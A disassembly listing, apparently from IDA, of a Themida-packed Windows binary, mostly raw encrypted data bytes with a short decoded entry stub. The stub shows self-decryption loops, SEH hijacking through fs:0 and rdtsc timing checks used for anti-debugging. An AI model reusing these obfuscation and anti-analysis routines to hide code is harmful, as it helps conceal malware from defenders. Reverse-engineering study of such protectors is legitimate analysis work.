dd 0FF6B0000h, 57h, 8 dup(0)
dd 0F00000h, 4 dup(0)
dd 858C0000h, 797h, 800000h, 2 dup(0)
dd 0D5540000h, 9Eh, 2 dup(0)
dd 0C80000h, 62420000h, 7FA4h, 2 dup(0)
dd 0E0000000h, 304004Dh, 7FFEh, 2 dup(0)
dd 0FF6B0000h, 66360057h, 59h, 0Dh dup(0)
dd 0EAEA0000h, 0FFBA0053h, 6FFFFh, 18h dup(0)
dd 0FF6E0000h, 510DFA7Bh, 0
dd 3FFC0000h, 0EAEB7FFFh, 53h, 5 dup(0)
dd 99940000h, 7270h, 2 dup(0)
dd 26230000h, 57h, 3 dup(0)
dd 10004h, 0FE150000h, 3896h, 9 dup(0)
dd 0A0990000h, 2E4877E7h, 539Dh, 0A8370000h, 0B0E977E7h
dd 3 dup(0)
dd 7B170000h, 5Ah, 0A00000h, 0
dd 48FF0000h, 58h, 2 dup(0)
dd 35B0000h, 0F9F0000h, 58h, 3 dup(0)
dd 23F40000h, 0FFFF0054h, 0FFFFh, 2 dup(0)
dd 637A0000h, 5Ah, 0
dd 47F30000h, 5E90h, 4 dup(0)
dd 5ED10000h, 5Ah, 0
dd 0FF540000h, 0A5FD0012h, 1, 0
dd 0BC7C0000h, 0CB45h, 3 dup(0)
dd 0FFAF0000h, 535Dh, 6 dup(0)
dd 3040000h, 3458h, 0
dd 10000h, 7 dup(0)
dd 10000h, 780000h, 6 dup(0)
dd 3040000h, 7FFEh, 4 dup(0)
dd 2CAE0000h, 0D1D07FFEh, 0FFA5h, 0A00F0000h, 9Fh, 0AC0000h
dd 4 dup(0)
dd 8D530000h, 0A3h, 5 dup(0)
dd 95C40000h, 0BBA1h, 2 dup(0)
dd 76B4h, 2 dup(0)
dd 9160000h, 700054h, 5 dup(0)
dd 3040000h, 7FFEh, 3D70000h, 7FFEh, 0
dd 4AE70000h, 58h, 6EF60000h, 7 dup(0)
dd 9A3D0000h, 0A5FD0058h, 0D40177E7h, 5Ah, 11110000h, 1111h
dd 6 dup(0)
dd 0B1680000h, 9Eh, 0
dd offset dword_580000
dd 7FCFh, 3040000h, 7FFEh, 3 dup(0)
dd 0FFFE0000h, 0FFFFh, 0
dd 77F5h, 3 dup(0)
dd 0CD6C0000h
db 5Ah, 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_541506: ; CODE XREF: start:loc_53E1CDj
mov eax, ebp
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 5E93343h
mov [ebp+5E92A31h], edx
mov [ebp+5E90281h], esi
mov [ebp+5E91291h], eax
cmp dword ptr [ebp+5E9035Dh], 0
jz short loc_54153E
mov ebp, eax
mov esp, edx
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_54153E: ; CODE XREF: start+6151Cj
mov eax, [esp+40h+var_1C]
mov [ebp+5E92E45h], eax
push 45h
call sub_5415F2
push 783749Ah
call sub_541638
push 0A894B25h
call sub_541638
jmp loc_54177C
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5415F2 proc near ; CODE XREF: start+61536p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 5E93431h
mov ebx, edx
mov [ebp+var_28], 0
loc_54160E: ; CODE XREF: sub_5415F2+39j
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
cmp [ebp+var_28], 80h
jz short loc_54162D
mov eax, [ebp+arg_0]
mov [ebx+5E9339Bh], eax
inc [ebp+arg_0]
inc ebx
jmp short loc_54160E
; ---------------------------------------------------------------------------
loc_54162D: ; CODE XREF: sub_5415F2+2Aj
mov [ebp+var_24], eax
popa
mov eax, [ebp+var_24]
leave
retn 4
sub_5415F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_541638 proc near ; CODE XREF: start+61540p start+6154Ap
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 5E9347Ah
lea eax, [ebp+var_80]
mov ebx, [ebp+arg_0]
mov [ebp+var_84], 0
loc_54165E: ; CODE XREF: sub_541638+41j
mov ecx, [ebp+var_84]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp+var_84], ecx
cmp [ebp+var_84], 80h
jnz short loc_54165E
mov [ebp+var_84], 0
lea edi, [edx+5E9339Bh]
lea esi, [ebp+var_80]
loc_54168E: ; CODE XREF: sub_541638+83j
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
loc_54169A: ; CODE XREF: sub_541638+69j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_54169A
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp+var_84]
inc ecx
mov [ebp+var_84], ecx
cmp ecx, 80h
jnz short loc_54168E
popa
leave
retn 4
sub_541638 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_5416D8
; ---------------------------------------------------------------------------
loc_5416D4: ; CODE XREF: Themida_:005416DBj
inc dword ptr [ebp-4]
inc esi
loc_5416D8: ; CODE XREF: Themida_:005416D2j
cmp byte ptr [esi], 0
jnz short loc_5416D4
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_541769
; ---------------------------------------------------------------------------
loc_5416EA: ; CODE XREF: Themida_:0054176Cj
mov dword ptr [ebp-8], 0
jmp short loc_541760
; ---------------------------------------------------------------------------
loc_5416F3: ; CODE XREF: Themida_:00541764j
mov dword ptr [ebp-10h], 0
mov dword ptr [ebp-0Ch], 0
jmp short loc_54174D
; ---------------------------------------------------------------------------
loc_541703: ; CODE XREF: Themida_:00541751j
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_541725
cmp bl, 39h
ja short loc_541725
sub bl, 30h
jmp short loc_541747
; ---------------------------------------------------------------------------
loc_541725: ; CODE XREF: Themida_:00541719j
; Themida_:0054171Ej
cmp bl, 61h
jb short loc_541737
cmp bl, 66h
ja short loc_541737
sub bl, 61h
add bl, 0Ah
jmp short loc_541747
; ---------------------------------------------------------------------------
loc_541737: ; CODE XREF: Themida_:00541728j
; Themida_:0054172Dj
cmp bl, 41h
jb short loc_541747
cmp bl, 46h
ja short loc_541747
sub bl, 41h
add bl, 0Ah
loc_541747: ; CODE XREF: Themida_:00541723j
; Themida_:00541735j ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_54174D: ; CODE XREF: Themida_:00541701j
cmp dword ptr [ebp-0Ch], 2
jb short loc_541703
cmp dword ptr [ebp-10h], 0
jbe short loc_54175D
mov eax, [ebp-10h]
stosb
loc_54175D: ; CODE XREF: Themida_:00541757j
inc dword ptr [ebp-8]
loc_541760: ; CODE XREF: Themida_:005416F1j
cmp dword ptr [ebp-8], 2
jb short loc_5416F3
add edx, 4
loc_541769: ; CODE XREF: Themida_:005416E8j
cmp edx, [ebp-4]
jb loc_5416EA
mov al, 0
stosb
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_54177C: ; CODE XREF: start+6154Fj
mov ecx, 7000h
lea edi, [ebp+5E935C0h]
loc_541787: ; CODE XREF: start+61777j
dec byte ptr [edi]
inc edi
dec ecx
jnz short loc_541787
mov eax, 48692121h
mov edx, 0F00E0000h
sub edx, 0F0000000h
lea eax, [ebp+5E936B2h]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
push 0
push ebx
call sub_5417C3
and [ebx-3Dh], bl
; END OF FUNCTION CHUNK FOR start
; =============== S U B R O U T I N E =======================================
sub_5417C3 proc near ; CODE XREF: start+617A7p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5417C3 endp
; ---------------------------------------------------------------------------
db 0ECh
dd 0E9C22B86h, 11h, 0C3EE777Ah, 31C300C7h, 0E9775B26h
dd 0C902D1F9h, 0F0002569h, 0CA8BFFFFh, 8166FF33h, 755A4D38h
dd 50B70F0Eh, 81D0033Ch, 45503Ah, 2D087400h, 1000h, 64E3EB47h
dd 58Fh, 0C4830000h, 0C5958D04h, 5205E936h, 35FF64h, 64000000h
dd 2589h, 0C1030000h, 10002Dh, 4708B00h, 0E681h, 0FE81FFFFh
dd 80000000h, 708B0376h, 83C0331Ch, 1F7432F8h, 4D3E8166h
dd 8109745Ah, 10000EEh, 0EBEB4000h, 33C7E8Bh, 503F81FEh
dd 74000045h, 64E8EB44h, 58Fh, 0C4830000h, 51C36104h, 10244C8Bh
dd 0B0A981h, 10000000h, 33590000h, 8B51C3C0h, 5510244Ch
dd 0E8h, 0ED815D00h, 5E936D0h, 368E858Dh, 818905E9h, 0B8h
dd 0C033595Dh, 8F6496C3h, 5, 4C48300h, 37B3D0B3h, 4860Fh
dd 0BB660000h, 8C66FC16h, 52006AD9h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0D5459B75h
dd 66B15967h, 60CEF381h, 0E804E180h, 8, 9EA90D3Ah, 0FC94113Ch
dd 0FC90A5Bh, 3A85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 68C0F0Ch, 81000000h, 0FD8A8FD3h
dd 0BD85C71Eh, 105E901h, 8B000000h, 52E9DFh, 0C7F80000h
dd 0E901BD85h, 5, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 10E9C8h, 0A5B0000h, 0DA45FE77h
dd 3D0D86C1h, 691579E4h, 11E98D9Dh, 0B6000000h, 0D9CD1800h
dd 4A52D129h, 855D9970h, 28B97940h, 23458589h, 0D98B05E9h
dd 1EFD8589h, 9E805E9h, 0F7000000h, 83EE3729h, 88D2C16Eh
dd 0FCF4FDBEh, 8B665B15h, 0D0C381F1h, 6600005Dh, 68F28Bh
dd 66000000h, 581BB6BEh, 9EBBDE81h, 0C8B5A5Ah, 40BA6603h
dd 0CFE98158h, 0F5A0CDAh, 1985h, 12E95600h, 7E000000h
dd 0A795C45Dh, 526115A1h, 2F7A24BAh, 31F130Ah, 0C1815AF8h
dd 8BDE0A6h, 0A4CFC181h, 0F532244h, 684h, 800F00h, 5F000000h
dd 81030C89h, 0BDA51ECFh, 0D78B661Eh, 2C3CE881h, 11E96B5Fh
dd 0B7000000h, 0A2FE4AE8h, 8AAFA342h, 826296A2h, 0E6E05ECAh
dd 2C38C081h, 0F8816B5Fh, 0FFFFA2E0h, 0FF80850Fh, 8E0FFFFFh
dd 3, 0E8D1BF0Fh, 7, 2BEC3C2Bh, 8BE1B846h, 0BF665AFBh
dd 0C281E9BDh, 7399h, 1CAA68h, 8E900h, 0DDE0000h, 6A15B085h
dd 8B5BA5CCh, 12E902h, 16CC0000h, 0A17FBE96h, 2101497Dh
dd 8921359Dh, 0B71E1056h, 0E032F081h, 0AE91ABEh, 67000000h
dd 0B3A777F9h, 0D0225D24h, 90E88184h, 8118CC1Fh, 560051D1h
dd 0ADC08173h, 0F41EE44h, 381h, 0F08B6600h, 66028F50h
dd 0EA83CA8Bh, 0DE802h, 5DF20000h, 0F0661F10h, 0CEF181D7h
dd 0E83B4C0Ah, 0Eh, 0B409F102h, 78708398h, 0E7DE9D80h
dd 5F5FC4C9h, 12E94A4Ah, 30000000h, 2A0FEE0Bh, 841BE467h
dd 578A9220h, 0F18ECECDh, 1EB815Dh, 0F000000h, 1285h, 860F00h
dd 0E9000000h, 25h, 4ECE8D66h, 0F8B659Ah, 286h, 0E9616000h
dd 0FFFFFF43h, 0F2827AD9h, 63B8281Fh, 0F7E443C4h, 0C58D67F9h
dd 78FE919h, 850F0000h, 17h, 12E9h, 0A795C400h, 526115A1h
dd 2F7A24BAh, 31F130Ah, 17C58FF8h, 2, 41770000h, 0C03B5568h
dd 9D899761h, 5E92501h, 8D310000h, 5E93179h, 0B8FC60h
dd 0F9000000h, 2824548Bh, 2CE99D89h, 858905E9h, 5E93105h
dd 0C880Fh, 8F0F0000h, 6, 19799D29h, 3CBE05E9h, 0F000000h
dd 688h, 7D850900h, 305E932h, 0E9242474h, 0Ah, 4DCE5FAh
dd 9417F361h, 0AD668DAAh, 9E9h, 4AD2DB00h, 3FE4CBF0h, 440311DEh
dd 9602424h, 0E9103185h, 98DF8105h, 61298119h, 128D0F90h
dd 50000000h, 8C0F52h, 0F000000h, 0F525031h, 5A585A31h
dd 52505058h, 0BE9h, 0E2DC9B00h, 3446AF8Fh, 6AB16Ch, 5250310Fh
dd 8A0Fh, 310F0000h, 840Fh, 585A0000h, 0F90585Ah, 158Dh
dd 10E900h, 0C70A0000h, 0F46FB5A1h, 0FAC8C389h, 0B7BD14FAh
dd 408B5F73h, 0CDB50978h, 305E919h, 60282444h, 530515BAh
dd 408FB80Ch, 0F6179C4h, 680h, 0A58D2900h, 8B05E91Fh, 40FC1840h
dd 0FE8B6660h, 898D0B60h, 5705E916h, 8961615Eh, 0E91DDD95h
dd 0B2858905h, 0F05E939h, 683h, 0BD9D3100h, 5805E907h
dd 78708BF5h, 0B8D38B60h, 10D9CAA1h, 1CC68361h, 313DBD29h
dd 740305E9h, 890F2424h, 1, 61BD8DFCh, 6005E91Eh, 6820Fh
dd 9D890000h, 5E91C99h, 258D2B60h, 6605E90Ch, 6161F08Bh
dd 8A0F60ADh, 0Ah, 5E9h, 6BF5AD00h, 81661256h, 611D71E2h
dd 24244403h, 0E860ABF9h, 11h, 8CB5ACFFh, 0EA5231F7h, 0A6490872h
dd 0C4C2E751h, 800F40h, 59000000h, 59958B60h, 8B05E932h
dd 0E910ADBDh, 8D616105h, 0E91999BDh, 9E9F505h, 0A7000000h
dd 175D23C6h, 0A115614Eh, 0B52B60ADh, 5E90375h, 34E08FB9h
dd 3F9610Fh, 89242444h, 0E925B58Dh, 52505005h, 6840Fh
dd 8B0F0000h, 0
dd 8E0F310Fh, 6, 310F5250h, 585A585Ah, 0FC240489h, 358589ABh
dd 0F805E900h, 1669BD8Dh, 11E905E9h, 0B4000000h, 0EEF6BDCDh
dd 0DF88DF4Ch, 12969294h, 36DF1AA1h, 6D8589ADh, 305E92Eh
dd 0F282444h, 1587h, 10E900h, 0C7CF0000h, 0F3D7522Ch, 5B24E14Dh
dd 3EF53EADh, 0E9AB168Dh, 14h, 81486926h, 9EBD657Ch, 63BDA868h
dd 0AD96F7BBh, 0F97C550Bh, 1985015Eh, 0FF05E908h, 0E939B28Dh
dd 0B2BD8305h, 5E939h, 44C71075h, 1C24h, 0B58D0000h, 5E93EACh
dd 0AD56E6FFh, 28244403h, 8ADF8B97h, 0E90EE585h, 74C08405h
dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h
dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h
dd 973D8D1h, 50413566h, 49F38166h, 75CEFE54h, 33C833EBh
dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah
dd 0C6835E0Fh, 585FF04h, 0E905E931h, 0FFFFFF6Fh, 1D8A0F5Eh
dd 0F000000h, 1780h, 12E900h, 0A4330000h, 0F6ACEA0Ch, 0F19AF2DFh
dd 139675B1h, 5A11EAEBh, 11E9h, 52FB8900h, 0F9312C7Ch
dd 0B781A549h, 0AFCF73A7h, 858B2D06h, 5E93105h, 88E0Fh
dd 1600000h, 0E9023DBDh, 8D316105h, 5E90B21h, 8F0FE0D1h
dd 17h, 558D0960h, 0E905E92Bh, 0Ah, 686FB986h, 8DFC2843h
dd 361F17Ch, 0E9166985h, 68C0F05h, 31000000h, 0E930499Dh
dd 0BE05h, 9D890000h, 5E9039Dh, 0AD66F596h, 2E0C1F8h, 0E58D8960h
dd 2905E916h, 0E91D6985h, 85036105h, 5E91E61h, 853196F9h
dd 5E91979h, 55BD89ADh, 8B05E903h, 8924244Ch, 0E9316585h
dd 359D0105h, 305E91Dh, 0F242444h, 0C84h, 6820F00h, 31000000h
dd 0E928FD8Dh, 24448905h, 4DBD011Ch, 9605E906h, 158C0Fh
dd 0E9600000h, 0Ch, 0C203C98Ch, 0BFB5048h, 0C9A671CBh
dd 0AC615E57h, 6E9h, 0B830B400h, 3239115Bh, 0C860FC9h
dd 0F000000h, 68Ch, 800F00h, 0E9000000h, 7, 0CE983908h
dd 0FE5F9DB3h, 19501C1h, 0D005E911h, 0A2830FD0h, 60000000h
dd 2D9D8B52h, 5F05E906h, 2C5CBF66h, 0C99D8961h, 0D005E92Ch
dd 86830FD0h, 60000000h, 0A7C98166h, 0D0D061F5h, 77820Fh
dd 29F50000h, 0E916599Dh, 0FD0D005h, 6882h, 0DE900h, 89C80000h
dd 61E515Fh, 0F955CEEh, 0FE61D6EBh, 0A4890FC9h, 0FCFFFFFFh
dd 3120C483h, 0E93049B5h, 2444C705h, 0FCh, 8DB58900h, 0B805E91Ch
dd 1, 68B0Fh, 0B5290000h, 5E924A1h, 0B800Fh, 6E90000h
dd 50000000h, 49F6DE0Ah, 0D48D8DF4h, 8905E972h, 0E9230DBDh
dd 29E1FF05h, 0E906019Dh, 0E585C605h, 5E90Eh, 953161F9h
dd 5E90099h, 890008C2h, 0E9102D95h, 12E95005h, 42000000h
dd 5F962984h, 0D283A04h, 1BE6AA9Fh, 0D93380AEh, 24348967h
dd 13E9h, 470ACB00h, 15826F73h, 2D348DC4h, 0EA36D7FFh
dd 9AE16BBEh, 40DFB589h, 890F05E9h, 6, 10599589h, 8D8905E9h
dd 5E94104h, 118D8B60h, 0E905E931h, 5, 0E4C098ABh, 0B58D61D2h
dd 5E93F80h, 6840F60h, 89000000h, 0E90091BDh, 0B58D8905h
dd 6105E931h, 5DBD8960h, 0F05E91Eh, 88h, 858D6100h, 5B7E35h
dd 71B52960h, 6605E906h, 618D4BBFh, 8D31D0FFh, 5E90FF9h
dd 7E9605Eh, 0A2000000h, 9209E79Eh, 5E8E239h, 53000000h
dd 74ACD05Ah, 0C36159F5h, 0DFB58BF9h, 0E905E940h, 0Dh
dd 0DEC7E4Ah, 2648D83Bh, 773F93FCh, 48D8B9Dh, 8905E941h
dd 0E9316185h, 89C02B05h, 0E90CC59Dh, 0E9D98B05h, 12h
dd 0BE817A1Eh, 705974B0h, 0FE3488FEh, 94C55664h, 850F9980h
dd 15h, 10E9h, 0AAB1AC00h, 70EF9A78h, 2C7131B4h, 0F09600D4h
dd 0DCE927h, 9E90000h, 26000000h, 54581040h, 161C69B2h
dd 12E92632h, 51000000h, 0D60104FCh, 3BBBA7AFh, 0FAF44ABEh
dd 99030E4Eh, 0E902B27Eh, 0Dh, 0C4674AE3h, 0A9105757h
dd 74315BBh, 58E94Dh, 85890000h, 5E92B91h, 0B589C232h
dd 5E9018Dh, 1D7A05F9h, 95018A75h, 5E9004Dh, 2960CC8Ah
dd 0E917B19Dh, 8B665105h, 0D3615FF8h, 0BF6660C8h, 5E92B3Dh
dd 0C3000000h, 9EFAA4D1h, 91BD0161h, 3505E901h, 98D10842h
dd 1CA98529h, 0CAFE05E9h, 89C38B60h, 0E9039DB5h, 0D20A6105h
dd 0FFA6850Fh, 8C0FFFFFh, 6, 1839BD31h, 0F4B05E9h, 1681h
dd 11E900h, 484E0000h, 5AD703CCh, 60DDEB4Ch, 134A875Ch
dd 29AA7B5Fh, 0E931999Dh, 860F4605h, 6, 10C58D01h, 0DB0B05E9h
dd 0FF2A850Fh, 0FE9FFFFh, 4A000000h, 0BD49E1D8h, 0C2FFB29Ah
dd 33EEA76Ch, 0F8CF33EFh, 8C0F0000h, 6, 186D8589h, 0F905E9h
dd 0E890F00h, 60000000h, 5923E081h, 0B58B3079h, 5E92FE5h
dd 0E9000061h, 11h, 0A408678Eh, 8DF01C83h, 0CCD5E8A8h
dd 0B93C863Eh, 89000015h, 0E90FC99Dh, 0CF858D05h, 0F05E939h
dd 685h, 4DB50100h, 8905E932h, 0E923C585h, 65958905h, 8D05E925h
dd 0E93EC485h, 68B0F05h, 9000000h, 0E910658Dh, 0F1858905h
dd 0EB05E907h, 14h, 3 dup(0)
dd 8B00h, 27858D00h, 8905E942h, 0E9311D85h, 68BD8305h
dd 5E941h, 122840Fh, 85C60000h, 5E90EE5h, 1AA46856h, 481BF8Bh
dd 94529524h, 45B5FF14h, 8D05E923h, 0E939CF85h, 89D0FF05h
dd 0E9415C85h, 0E585C605h, 5605E90Eh, 4E8h, 0A8B85200h
dd 448B509Ch, 8B0424h, 4244489h, 45B5FF58h, 8D05E923h
dd 0E939CF85h, 89D0FF05h, 0E9416085h, 68046A05h, 0D42BFA8Eh
dd 72240481h, 8B2BD415h, 0E9416C85h, 1F40505h, 0E0C10000h
dd 90509002h, 95FF006Ah, 5E94160h, 41648589h, 0D88B05E9h
dd 0FFFFFFB8h, 1D95FFFFh, 8B05E931h, 1D95FFC3h, 0E905E931h
dd 84h, 4168BD83h, 0F0005E9h, 185h, 8B57C300h, 0E94164BDh
dd 8583AB05h, 5E94164h, 83C35F04h, 0E94168BDh, 850F0005h
dd 1, 0AD8360C3h, 5E94164h, 649D8B04h, 8305E941h, 0FFFFC7Bh
dd 1D85h, 0BEDD6800h, 481C63Eh, 0C1C12324h, 0FF006A39h
dd 5C95FF33h, 6105E941h, 1DE9C3h, 26680000h, 81E79855h
dd 2ADA2404h, 6A1868h, 95FF33FFh, 5E9415Ch, 4164AD83h
dd 0E90405E9h, 0FFFFFFB1h, 1ADE948h, 8B600000h, 8B242474h
dd 0FC28247Ch, 68A80B2h, 47078846h, 2BBh, 0FD20200h, 585h
dd 46168A00h, 830FD212h, 0FFFFFFE2h, 850FD202h, 5, 1246168Ah
dd 6A830FD2h, 33000000h, 0FD202C0h, 585h, 46168A00h, 830FD212h
dd 12Ah, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h
dd 0D2124616h, 0D202C013h, 5850Fh, 168A0000h, 13D21246h
dd 0FD202C0h, 585h, 46168A00h, 0C013D212h, 6840Fh, 2B570000h
dd 5F078AF8h, 0BB470788h, 2, 0FFFF70E9h, 1B8FFh, 0D2020000h
dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h
dd 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h, 3485h, 1B900h
dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h
dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h
dd 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh, 2000000h
dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h, 5850Fh
dd 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh, 830F0000h
dd 22h, 5003Dh, 0E820F00h, 41000000h, 2BF78B56h, 5EA4F3F0h
dd 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h, 0F78B5602h
dd 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h, 840F01E8h
dd 17h, 8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh, 76E90000h
dd 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h, 929h, 9D3E9h
dd 850BA700h, 6F560CB6h, 0A3C621EAh, 0DE3BDC48h, 4F30C976h
dd 1D83EAFBh, 276A724Ch, 3ECE34F1h, 852DFA41h, 631407BBh
dd 0F1D133E2h, 0D929CD1Bh, 207BC633h, 17899A98h, 2B6B6F58h
dd 3CCE34A3h, 852EF547h, 7C141DBBh, 0F1CE29FFh, 0C237D105h
dd 4B75D224h, 0C5AEFBh, 667A6F5Ch, 298035F1h, 8538E147h
dd 7D5B1BA2h, 0FFCE27FFh, 63h dup(0)
dd 850BA700h, 735A06BFh, 0F1D129F9h, 0CA35C618h, 0A38CA24h
dd 5296ABFDh, 696B795Bh, 25CF27A3h, 0D76AF046h, 735A07A7h
dd 0B88321E3h, 0C2239406h, 5975D923h, 1791B9ECh, 0A043254h
dd 31C52DD3h, 8566F15Bh, 755807A7h, 0B88322ECh, 0DF3C941Ch
dd 4775C639h, 8AA7F0h, 696F3C40h, 35D261E7h, 0D72BE05Bh
dd 754D49A6h, 0A18334F8h, 0DF3DDB1Ah, 7BC637h, 48h dup(0)
dd 850BA700h, 79551BB1h, 0F6D123E6h, 0C22E941Bh, 4275C739h
dd 10C5B9F4h, 2760795Ch, 3ED52EE5h, 0D038B44Ch, 745D07BCh
dd 0BFCA66EAh, 0D835CD48h, 53268B24h, 1F80BEE6h, 57031617h
dd 23C124EFh, 0D06AB84Dh, 7B5B05BCh, 0A5CA66E9h, 0C228D248h
dd 4F388B3Bh, 0B97A5F8h, 63607D19h, 23C533A3h, 0D138F55Ch
dd 6F5B10F2h, 0A3D366FFh, 0CC28D307h, 853Bh, 61h dup(0)
dd 0CC0CA700h, 79140CBEh, 0A4D134E2h, 0C93FC018h, 7E758577h
dd 5296A3FDh, 60616E49h, 70CD20F1h, 8539F540h, 74510CB0h
dd 0BFC22BADh, 0C12FC401h, 4E30DF37h, 168BABB5h, 7E6F7119h
dd 5DAA24E1h, 0D66DE041h, 7C5A00F2h, 0B4D725E8h, 0D438940Ch
dd 7C75CA76h, 190B8FCh, 277C7319h, 33C133E0h, 8B2EF143h
dd 735C3DF2h, 0B8C566FEh, 0DA7AD104h, 5E72C539h, 8ABDB5h
dd 696F3C52h, 22CF2CFAh, 0BA4Dh, 0E0h dup(0)
dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
dd 2 dup(0)
dd 2ECFE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 0FC5EAE91h, 19C2DEBh, 0E9018985h
dd 72BABA05h, 6AFC5509h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 5985C352h, 0F6C28107h
dd 8B640AA6h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1704h, 0C3514100h, 7483FFEh, 0E18589h, 0BD8305E9h, 5E9164Dh
dd 83097500h, 0E91121BDh, 13740005h, 0C08B5350h, 1B8h
dd 669D8D00h, 0FF05EBB7h, 83585BD3h, 0E91121BDh, 11740005h
dd 1B85350h, 8D000000h, 0EBB6179Dh, 5BD3FF05h, 29958B58h
dd 0F05E911h, 118Fh, 8E800h, 7670000h, 7C6BAB21h, 0B70F6B37h
dd 9D8B5BD9h, 5E921C1h, 2820Fh, 0D98A0000h, 9D8BC08Bh
dd 5E90359h, 12B1BD83h, 0F0005E9h, 1A584h, 83FD8A00h, 0E92A95BDh
dd 840F0005h, 196h, 0D6816660h, 8E0FDAF0h, 6, 272D858Bh
dd 606105E9h, 12E8h, 235CDC00h, 7886F233h, 66E6EC6h, 0D3676FBEh
dd 89582490h, 0E90539B5h, 858B5A05h, 5E92A95h, 0BB02AEBAh
dd 0D6CF8048h, 3E805h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1704h, 0C3574700h, 0FA0D4583h, 0F6090FCh
dd 28Ch, 61D08B00h, 5B539050h, 4E22858Dh, 8D8905E9h, 5E910BDh
dd 0E9565090h, 12h, 835DB707h, 2AB22767h, 0BDB7E72Ch, 0FAE3B8A8h
dd 905A0243h, 8F59589h, 858D05E9h, 5E94E00h, 5E59D2Bh
dd 895005E9h, 9D892404h, 5E93079h, 3A595FFh, 816605E9h
dd 66671FC3h, 0C483DF8Bh, 54E2810Ch, 8D1C2F42h, 0E94E0085h
dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 87A01D45h, 82FAC0CEh, 9E85072h, 0E5000000h
dd 2D26ABD6h, 6894AD29h, 2859D89h, 905B05E9h, 15BA6651h
dd 60505B75h, 0F525050h, 58585A31h, 12E9h, 652D2A00h, 7ABB0804h
dd 5149AD3Ch, 433527C0h, 61FA94E7h, 7E990h, 47270000h
dd 0EB5FC3C6h, 89026A46h, 0E90729B5h, 7495FF05h, 0BA006885h
dd 6A67DA8Ch, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1A04h, 0C3574700h, 25C20E5Fh, 5678DB1Ah, 12E9h, 23345B00h
dd 0F02E184Bh, 172511AFh, 8F5F47A6h, 5BBD8E42h, 85C733B6h
dd 5E94E33h, 1, 0FA19D2Bh, 519605E9h, 505BF78Ah, 28A0Fh
dd 0D08B0000h, 0DA816696h, 0B589163Eh, 5E94DE4h, 0AEBBB1B7h
